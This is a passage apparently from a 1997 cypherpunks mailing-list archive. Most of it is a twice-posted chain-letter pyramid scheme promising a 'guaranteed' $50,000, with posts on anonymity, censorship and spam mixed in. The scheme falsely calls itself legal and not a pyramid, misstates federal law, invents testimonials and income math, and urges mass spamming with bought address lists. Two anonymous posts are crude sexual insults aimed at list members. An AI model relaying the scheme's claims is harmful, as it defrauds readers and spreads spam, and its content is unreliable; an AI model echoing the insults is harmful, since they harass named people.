questions, please feel free to write to the sender of this information. You will get a prompt and informative reply. My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive. You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost off about 3 cents a copy. Best wishes with the program and Good Luck! "IT WAS TRULY AMAZING" "Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before." Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send for your four 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED." WHILE YOU WAIT FOR THE REPORTS TO ARRIVE: 1. Name your new company. You can use your own name if you desire. 2. Get a post office box (preferred). 3. Edit the names and addresses on the program. You must remember, your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list. 4. Obtain as many email addresses as possible to send until you receive the information on mailing list companies in REPORT #3. 5. Decide on the number of programs you intend to send out. The more you send, and the quicker you send them, the more money you will make. 6. After mailing the programs, get ready to fill the orders. 7. Copy the four 4 REPORTS so you are able to sent them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU RECEIVE! 8. Make certain the letter and reports are neat and legible. YOUR GUARANTEE The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a must!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!! REMEMBER: "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING." "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE." This message was sent using an evaluation version of WWMail WWMail is available at: http://wizardware.com From lucifer at dhp.com Thu Apr 17 04:51:58 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Thu, 17 Apr 1997 04:51:58 -0700 (PDT) Subject: Son of Flubber Message-ID: <199704171151.HAA16334@dhp.com> >From wired.com newstory on McVeigh: Another juror said she thought the building that was bombed was the "Fred MacMurray Building." Fred MacMurray was an actor perhaps best known for his role as a father in the 1960s TV series "My Three Sons." And Capt. Buttons thought his A-10 could reach Denver because it was running on Flubber. I wonder if perhaps Capt. Buttons wasn't perhaps involved in an AP scheme wherein various military personnel can win big bucks by guessing the date of the bombing of the Federal Building in Denver. Oh, I forgot...he just headed for Denver with a planeload of bombs for no apparent reason. We wouldn't want to jump to any conclusions just because it was at the beginning of the trial of a military terrorist. It's not like the military harbors militaristic types, or anything. It's not like anyone hosting Jim Bell's "Assassination Politics" on their system has close ties to the Davis-Monathan airbase in Tucson. It's not like Dave Foreman of Earth First was involved in monkey- wrenching with airmen in Tucson. It's not like airmen from Tucson trade landmines for dope in Arivaca, south of Tucson. Nope, they're all too busy eating mom's apple pie and singing "God Bless America" to do any of those things. And when one of them goes off on a bombing run and heads for the site of the Oklahoma City bombing trial, well, it's just one of life's little mysteries. Of course, the government isn't nervous about the loyalty of their own military personnel. That certainly couldn't have anything to do with them clamping down so hard on the release of details of the trial. TruthBomber From rah at shipwright.com Thu Apr 17 07:31:50 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 17 Apr 1997 07:31:50 -0700 (PDT) Subject: NIST Joins CommerceNet... Message-ID: Ah... Don't you just love sunshine laws? Notice they effectively call CommerceNet "the only" "consortium which develops and maintains an Internet-based infrastructure for electronic commerce". Cheers, Bob Hettinga --- begin forwarded text Date: Wed, 16 Apr 1997 06:41:48 -0500 (CDT) Mime-Version: 1.0 To: , rah at shipwright.com From: Somebody Subject: [Commerce Business Daily: Posted April 15, 1997] >From the Commerce Business Daily Online via GPO Access [cbdnet.access.gpo.gov] PART: U.S. GOVERNMENT PROCUREMENTS SUBPART: SERVICES CLASSCOD: D--Information Technology Services, including Telecommunication Services OFFADD: National Institute of Standards & Technology, Acquisition & Assistance Div., Bldg. 301, Rm B117, Gaithersburg, MD 20899 SUBJECT: D--MEMBERSHIP IN A CONSORTIUM WHOSE MISSION IS TO CONDUCT GROWTH IN INTERNET-BASED ELECTRONIC COMMERCE. SOL 53SBNB760110 DUE 043097 POC Trena N. Bercaw (301) 975-6324// Fax (301) 963-7732 DESC: The National Institute of Standards and Technology (NIST) has a requirement to become a member of an existing consortium which develops and maintains an Internet-based infrastructure for electronic commerce. NIST requires interaction between industry leaders, in the research and development of a next generation infrastructure for electronic commerce. The consortium shall be able to accelerate Internet-based electronic commerce by identifying and working to resolve key industry issues, providing a global, multi-industry forum for collaboration, and serving as an advocate through public policy and education. This membership shall be for a period of one (1) year. It is the intent of the Government to negotiate with CommerceNet, of Palo Alto, California, under 41 U.S.C. 253 (c)(1), as the only responsible source able to fulfil the requirement of this agency. No solicitation package is available. Inquiries may be faxed to (301) 963-7732. See Numbered Note 22 and 26. LINKURL: http://www.nist.gov/admin/od/contract/contract.htm LINKDESC: NIST Contracts Homepage EMAILADD: Contract at nist.gov EMAILDESC: NIST Contracts Office CITE: (W-105 SN062439) All rights reserved. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From vax at linkdead.paranoia.com Thu Apr 17 08:31:39 1997 From: vax at linkdead.paranoia.com (VaX#n8) Date: Thu, 17 Apr 1997 08:31:39 -0700 (PDT) Subject: [privacy] a junk email tracer [crypto] Message-ID: <199704171523.KAA07392@linkdead.paranoia.com> Here's a little idea that I'll throw out to the sharks. You've probably heard of people who alter their name/address slightly when applying for credit cards, etc., so that they know when their name has been sold on a list, and by whom. Well I say, "why not with email?" Consider a hack to sendmail (or whatever MDA you have) which attempts to locate the email address given in a list of distributed email addresses. For example, vax01.na put on web page vaxu53lr sent to correspondent foo at bar.com vaxbl15. put on business cards etc. Where crypto comes in: You could actually have the tagged field be the encoded encryption of the data on the right. You'd still probably want a list to weed out bogus addresses that decrypt to nonsense. Or you could use encryption to embed a tag marking it as "good" -- a checksum, fingerprint, signature, whatever. With an adequate MUA, you could even have it pull up the associated description with the email as an X-source field or something. I may not have time to implement this, which is why I threw it out here. If you do implement it, be nice and put my email/web ptr somewhere in the credits. And send me a copy; I hate junk email. CC me in your comments; this list is too voluminous. Sorry about the long sig but the quote is appropriate. -- VaX#n8 | http://www.paranoia.com/~vax | League of Non-aligned Wizards ``In the meantime, there may be a role for individuals who know their way around the place. A few hacks can make a lot of difference in this situation. A freelance hacker could get a lot of shit done, years before the giant software factories bestir themselves to deal with the problem.'' -- Neal Stephenson, Snow Crash From COMPUTER.SOLUTIONS at SWBELL.net Thu Apr 17 09:44:56 1997 From: COMPUTER.SOLUTIONS at SWBELL.net (COMPUTER.SOLUTIONS at SWBELL.net) Date: Thu, 17 Apr 1997 09:44:56 -0700 (PDT) Subject: Don't Wait Act Now Message-ID: <041297> Dear friend, The following income opportunity is one you may be interested in taking a look at.It can be started with VERY MINIMAL outlay and the income return is TREMENDOUS! <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> You are about to make at least $50,000 - In less than 90 days Read the enclosed program...THEN READ IT AGAIN!... <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> The enclosed information is something I almost let slip through my fingers. Fortunately,something later I re-read everything and gave some thought and study to it. My name is Richard Gross. Two years ago,the corporation I worked at for the past twelve years down-sized and my position was eliminated.After unproductive job interviews, I decided to open my own business. Over the past years,I incurred many unforeseen financial problems. I owed my family,friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet.I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this.AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER....FINANCIALLY!!! In mid-December,I received this program via email. Six months prior to receiving this program I had been sending away for information on various business opportunities. All of the programs I received,in my opinion,were not cost effective.They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed i'd make a million dollars in one year...it didn't tell me I'd have to write a book to make it. But like I was saying, in December of '95 I received this program.I didn't send for it, or ask for it, they just got my name off a mailing list.THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly,I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON.It could invest as much as I wanted to start, without putting me further in debt.After I got a pencil and paper and figured it out,I would at least get my money back. After determining that the program is LEGAL and NOT A CHAIN LETTER,I decided "WHY NOT". Initially I sent out 10,000 emails. It cost me about $15.00 for my time on-line.The great thing about email is that I didn't need any money for printing to send out the program,only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn off,but I promised myself that I would not "rip-off" anyone,no matter how much money it cost me! A good program to help do this is Ready Aim Fire, an email extracting and mass mail program @ http://microsyssolutions.com/raf/ Another more advanced one can be found at: http://www.extractor.com/ads.html In less than one week, I was starting to receive orders for REPORT#1 By January 13th,I had received 26 orders for REPORT#1. When you read the GUARANTEE in the program,you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT#1 WITHIN TWO WEEKS.IF YOU DON'T SEND OUT MORE PROGRAMS UNTIL YOU DO! "My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT#2.If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.IF NOT,SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY,RELAX,YOU WILL MAKE YOUR $50,000 GOAL"Well,I had 196 orders for REPORT#2 96 more than I needed. So I sat back and relaxed. By march 19th, of my emailing of 10,000,I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car.Please take time to read the attached program,IT WILL CHANGE YOUR LIFE FOREVER! Remember,it won't work if you don't try it.This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in different place. It doesn't work,you'll lose out on a lot of money! REPORT #2 explains this.Always follows the guarantee, 15 to 20 orders for REPORT #1,and 100 or more orders for REPORTS #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!! If you choose not to participate in this program, I'M sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate,follow the program and you will be on your way to financial security. If you are a fellow business owner and you are in financial trouble like I was,or you want to start your own business,consider this a sign.I DID! Sincerely, Richard Gross P.S. Do you have any idea what 11,700 $5 bills(58,000)look like piled up on a kitchen table? IT'S AWESOME "THREW IT AWAY" "I had received this program before.I threw it aways,but later wondered if I shouldn't have given it a try. Of course,I had no idea who to contact to get a copy,so I had to wait until I was emailed another copy of the program.Eleven months passed,hen it came.I DIDN'T throw this one aways.I made $41,000 on the first try Dawn W., Evansville,IN "NO FREE LUNCH" "My late father always told me,'remember,Alan,there is no free lunch in life.You get out of life what you put into it.' Through trial and error and a some what slow frustrating start, Ifinally figured it out The program works very well,I just had to find the right target group of people to email it to.So far this year,I have made over $63,000 using this program. I know my dad would have been very pround of me." Alan b., Philadelphia,PA A PERSONAL NOTE FROM THE ORIGINATOR OR THIS PROGRAM By the time to read the enclosed information and looked over the enclosed program and reports,you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself.I had a profitable business for ten years.Then in 1979 my business began falling off. I was doing the same things that were previously successful for me,but it wasn't working. Finally,I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand experience There were more failures and bankruptcies than ever before. The middle class was vanishing.Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest,were moving down into the ranks of the poor.As the saying goes,"THE RICH GET TRICHER AND THE POOR GET POORER"The traditionalmethods of making money will never allow you to " move up" or "get rich",inflation will see to that. Youhave just received information that can give you financial freedom for the rest of your life,with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." You can make more money in the next few months than you have ever imagined. I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. Bythe spring, we wish to market the 'internet' by a partnership with AMERICA ON LINE. Follow the program EXACTLY AS INSTRUCTED.Do not change it in any way. Itworks exceedingly well as it is now.Remember to email a copy of this exciting program to everyone that you can think of.One of the people you send this to may send out 50,000...and your name will be on every one of them!.Remember though,the more you send out,the more potential customers you will reach. So my friend,I have given you the ideas,infomation,materials and opportunity to become financially independent,IT IS UP TO YOU NOW! "THINK ABOUT IT" Before you delete this program from your mailbox,as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate.Figure out the worst possible response and no matter how you calculate,you will still make a lot of money! Definitely get back what you invested.Any doubts you have will vanish when your first orders come in.IT WORKS! Paul Johnson, Raleigh,NC HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$ Let's say that you decide to start small, just to see how it goes,and we'll assume you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives a .5% responce.Using a good list the response could be much better.Also many people will send out hundreds of thousands of programs instead of 2,000.But continuing with this example, you send out 2,000 programs.With a 5% response,that is only 10 orders for REPORT #1.Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those .5%, 100 people respond and order REPORT #2.Those 100 mail out 2,000 programs each for a total of 200,000.The .5% response tothat is 1,000 orders for REPORT #3.Those 1,000 send out 2,000 programs each for a 2,000,000 total.The .5% response to that is 10,000 orders for REPORT #4.That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example is $50 + $500 + $5000 + 50,000 for a total of 55,550!!!! REMEMBER FRIEND,THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING...AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.Believe me,many people will do that and more!By the way,your cost to participate in this practically nothing. You obviously already have an internet connection and email is FREE!!! REPORT#3 will show you the best methods for bulk emailing and purchasing email lists. THIS IS A LEGITIMATE, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work,and best of all you never have to leave the house except to get the mail.If you believe that someday you"ll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dream will come true.This multi-level email order marketing program works perfectly...100% EVERY TIME.Email is the sales tool of the future.Take advantage of this non-commercialized method of advertising NOW!! The longer you wait,the more people will be doing business using email. Get your piece of this action!! MULTI-LEVEL MARKETING (MLM) has finally gained respectability.It is being taught in the Harvard Business School,and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the mid to late 1990's.This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US,20% (100,000) made their fortune in the last several years in MLM.Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing INSTRUCTIONS We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days.Before you say "BULL",please read the program carefully. This is not a chain letter,but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business,we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi- level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL,so you are not involved in personal selling. You do it privately in your own home, store or office This is the GREATEST Multi-level Mail Order Marketing anywhere: step (1) Order all four REPORTS listed by NAME AND NUMBER.Do this by ordering the REPORT from each of the four names listed on the next page.For each REPORT,send $5 CASH and a SELF- ADDRESSED,STAMPED envelope (business size #10) to the person listed for the SPECIFIC REPORT. International orders should also include $1 extra for postage.It is essential that you specify the NAME and NUMBER of the report requested to the person you are ordering from.You will need ALL FOUR REPORTS because you will be REPRINTING and RESELLING them DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same-day service on all orders. step (2) Replace the name and address under report #1 with yours,moving the one that was there down to REPORT#2. Drop the name and address under REPORT#2 to REPORT#3, moveing the one that was there to REPORT#4. The name and address that where under REPORT#4 is dropped from the list and this party is no doubt on the way to the bank. When doing this,make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!! step (3) Having made the required changes in the NAME list,save it as a text(.txt) file in it's own directory to be used with whatever email program you like.Again,REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. step(4) Email a copy of the entire program(all of this is very important) to everyone whose address you can get your hand on.Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity. That's what I did. And they love me now,more than ever.Then,email to anybody and everyone !Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing list.These are very cheap,100,000 addresses for around $35.00. IMPORTANT: You won't get a good response if you use an old list,so always request a FRESH,NEW list.You will find out where to purchase these lists when you order the four REPORT. ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!! REQUIRED REPORTS ***Order each REPORT by NUMBER and NAME*** ALWAYS SEND A SELF-ADDRESSED,STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER ------------------------------------------------- REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" ORDER REPORT #1 FROM: Computer Solutions PO Box 520851 Independence,Mo 64052 ------------------------------------------------- REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" ORDER REPORT #2 FROM: Aaron Gross 5631 e 40 hwy lot #51 Kansas City, Mo 64128 ------------------------------------------------- REPORT #3 "SOURCES FOR THE BEST MAILING LISTS" ORDER REPORT #3 FROM: Richard Gross Jr 3308 S Emery Independence, Mo 64055 ------------------------------------------------- REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS" ORDER REPORT #4 FROM LaChance Information System PO BOX 308 Placida,FL 33946-0308 ------------------------------------------------- CONCLUSION .I am enjoying my fortune that I made by sending out this program. You too,will be making money in 20 to 90 days,if you follow the SIMPLE STEPS outlined in this mailing. To be financially independent is to be FREE. Free to make financial decisions as never before.Go into business,get into investments, retire or take a vacation.No longer will a lack of money hold you back. However,very few people reach financial independence,because when opportunity knocks, they choose to ignore it.It is much easier to say "NO" than "YES", and this is the question that you must answer.Will YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information. You will get a prompt and information reply. My method is simple. I sell thousands of people a product for $5 that costs me pennies to produce and email.I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters,asking you to send money, on faith , but getting NOTHING in return, NO product what-so-ever! Not only are chain letters illegal,but the risk of someone breaking the chain makes them quite unattractive. You are offering a legitimate product to your people.After they purchase the product from you,they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material the PRODUCT is a series of four FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding,but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORT,which will be ordered from you by those to whom you mail this program.The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost off about 3 cents a copy. Best wishes with the program and good luck! "IT WAS TRULY AMAZING" "Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am,I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before." Mary Riceland,Lansing,MI TIPS FOR SUCCESS Send for your four REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws.Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED." WHILE YOU WAIT FOR THE REPORTS TO ARRIVE: 1. NAME YOUR NEW COMPANY.YOU CAN USE YOUR OWN NAME IF YOU DESIRE. 2. GET A POST OFFICE BOX (PREFERRED) 3. EDIT THE NAMES AND ADDRESSES ON THE PROGRAM.YOU MUST REMEMBER, YOUR NAME AND ADDRESS GO NEXT TO REPORT#1 AND THE OTHERS ALL MOVE DOWN ONE,WITH THE FOURTH ONE BEING BUMPED OFF THE LIST. 4. OBTAIN AS MANY EMAIL ADDRESSES AS POSSIBLE TO SEND UNTIL YOU RECEIVE THE INFORMATION ON MAILING LIST COMPANIES IN REPORT #3 5. DECIDE ON THE NUMBER OF PROGRAM YOU INTEND TO SEND OUT.THE MORE YOU SEND,AND THE QUICKER YOU SEND THEM,THE MORE MONEY YOY WILL MAKE 6. AFTER MAILING THE PROGRAMS,GET READY TO FILL THE ORDERS 7. COPY THE FOUR REPORTS SO YOU ARE ABLE TO SENT THEM OUT AS SOON AS YOU RECEIVE AN ORDER.IMPORTANT:ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU RECEIVE! 8. MAKE CERTAIN THE LETTER AND REPORTS ARE NEAT AND LEGIBLE. YOUR GUARANTEE The check point which GUARANTEES your success is simply this:you must receive 15 to 20 orders for REPORT #1. Ths is a must!!! If you don't within two weeks, email out more programs until you do.Then a couple of weeks later you should receive at least 100 orders for REPORT #2,if you don't,send out more programs until you do. Once you have received 100 or more orders for REPORT #2,(take a deep breath) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000.Mathematically it is a proven guarantee . Of those who have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal.Also remember, every time you name is moved down the list you are in front of a different REPORT,so you can keep of your program by knowing what people are ordering from you.IT'S THAT EASY, REALLY, IT IS!!! From noem at internet.com Thu Apr 17 11:39:52 1997 From: noem at internet.com (noem at internet.com) Date: Thu, 17 Apr 1997 11:39:52 -0700 (PDT) Subject: HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE Message-ID: <0000000000.AAA000@internet.com> 


HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE

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*Why you can't afford to NOT be on the Web 
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*Why treating a Web Site like a standard print ad is a big mistake
*Why the secrets of netvertising generates maximum traffic & results
*How to promote your Web Site within the internet
*How to promote your Web Site off the Internet 
*How to build your business with Facts-On-Demand technology 
*How you can profit from the Internet, even if your running a local service business
*How you can profit if your in network marketing 
*How publications can forget big price increases in paper, production and postage,
  and make huge profits on the web

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                                Mail House Publishing 
                                 403 Nasa Road 1 East 
                                 Suite 210 / Dept WW21
                                 Houston, Texas 77598















From 3umoelle at informatik.uni-hamburg.de  Thu Apr 17 12:03:29 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 17 Apr 1997 12:03:29 -0700 (PDT)
Subject: Internet Free Europe
In-Reply-To: <9704171054.AA39734@public.uni-hamburg.de>
Message-ID: <9704171903.AA13876@public.uni-hamburg.de>


> 
> Chinese internet censorship.  It comes with Unix sources.

Argll! majordomo at infonex is still eating lines.

I ment to say:

  http://nanjing.spc.uchicago.edu:8001/ is a proxy directed against
  Chinese internet censorship.  It comes with Unix sources.





From harka at nycmetro.com  Thu Apr 17 14:05:19 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Thu, 17 Apr 1997 14:05:19 -0700 (PDT)
Subject: "Show me an example o
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:shamrock at netcom.com to Harka <=-

 In> The recent issue of Radikal, the publication that caused xs4all to be
 In> blocked by the German government, contains an article on using PGP to
 In> secure the internal communications of the German leftist group issuing
 In> the publication. Radikal also contains an article on sabotaging the
 In> German rail system.

The latter, sabotaging the railway, is actually the thing, they're
going off about. That is information considered illegal, since it
advocates violence and criminal acts.
One of the leaders of the Party for Democratic Socialism, Angela
Marquardt, was indicted under the same background for putting a link
on her homepage to http://www.xs4all/~radikal/.
The argumentation of the proscecutors was, that she personally by
putting a link to that magazin (article) was promoting such violent
acts.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... The Internet recognizes censorship as damage...and routes around it.
___ Blue Wave/386 v2.30 [NR]

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Version: 2.6.2

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If encryption is outlawed, only outlaws will have encryption...







From camcc at abraxis.com  Thu Apr 17 14:11:28 1997
From: camcc at abraxis.com (Alec)
Date: Thu, 17 Apr 1997 14:11:28 -0700 (PDT)
Subject: Germany in the News
Message-ID: <3.0.1.32.19970417170556.007dfe80@smtp1.abraxis.com>


From: The Economist 
Subject: Politics This Week (April 11th - April 17th 1997)
Date: Thu, 17 Apr 1997 20:09:01 +0100

[snip]

Iranians demonstrated against a German court's verdict that found their
leaders guilty of ordering the murder of Kurdish dissidents. Some 3,000
veterans of the war with Iraq, disabled by chemical gas, called for
justice against German firms that sold it to Iraq.

[snip]

*************************************************************************
This is a free newsletter published by The Economist newspaper.   To find out 
where best to direct queries to The Economist, send a blank e-mail message
to help at economist.com

To  cancel  your  subscription,  send  an  e-mail  with  the  message  "leave 
economist-politics"  to  newscaster at postbox.co.uk    
To start receiving Politics This Week, send an e-mail with the message
"join economist-politics" to newscaster at postbox.co.uk
Alternatively, you can cancel your subscription (or subscribe at any time)by
visiting http://www.economist.com/mailing/








From rubin at research.att.com  Thu Apr 17 14:45:07 1997
From: rubin at research.att.com (Avi Rubin)
Date: Thu, 17 Apr 1997 14:45:07 -0700 (PDT)
Subject: A new system for anonymity on the web
Message-ID: <199704172142.RAA25706@mgoblue.research.att.com>


We are developing a new system called "Crowds" for achieving anonymity
on the web.  A preliminary description of the system can be found on
our web pages.  Any comments/criticisms are welcomed and appreciated.

Mike Reiter (http://www.research.att.com/~reiter/)
Avi Rubin   (http://www.research.att.com/~rubin/)







From carljohn at sk.sympatico.ca  Thu Apr 17 17:39:03 1997
From: carljohn at sk.sympatico.ca (InterNet Free Terra)
Date: Thu, 17 Apr 1997 17:39:03 -0700 (PDT)
Subject: InterNet Free Terra
Message-ID: <3356C21B.3374@sk.sympatico.ca>

A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 596 bytes
Desc: not available
URL: 

From lucifer at dhp.com  Thu Apr 17 17:59:20 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 17:59:20 -0700 (PDT)
Subject: Meet-in-the-middle attack
Message-ID: <199704180059.UAA18780@dhp.com>


Tim Maya studied yoga back-streching exercises for five years so 
he could blow himself (nobody else will).

           /\
        __/__\__
         | 00 |  Tim Maya
        |:  \ :|
         | \_/|
          \__/






From whgiii at amaranth.com  Thu Apr 17 18:42:00 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Apr 1997 18:42:00 -0700 (PDT)
Subject: InterNet Free Terra
In-Reply-To: <3356C21B.3374@sk.sympatico.ca>
Message-ID: <199704180139.UAA27280@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <3356C21B.3374 at sk.sympatico.ca>, on 04/17/97 at 06:36 PM,
   InterNet Free Terra  said:


>

[HTML Sniped]

Could you please post in text? At least post in text/alternitive MIME
format so we can read your messages.

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: For a good time, call 1-800-3IBMOS2

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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From lucifer at dhp.com  Thu Apr 17 19:12:03 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 19:12:03 -0700 (PDT)
Subject: Meet-in-the-middle attack
Message-ID: <199704180211.WAA23849@dhp.com>


Toto Homo studied yoga back-streching exercises for five years so
he could blow himself (nobody else will).
 
            /\
         __/__\__
          | 00 |  Tot[hom]o
         |:  \ :|
          | \_/|
           \__/






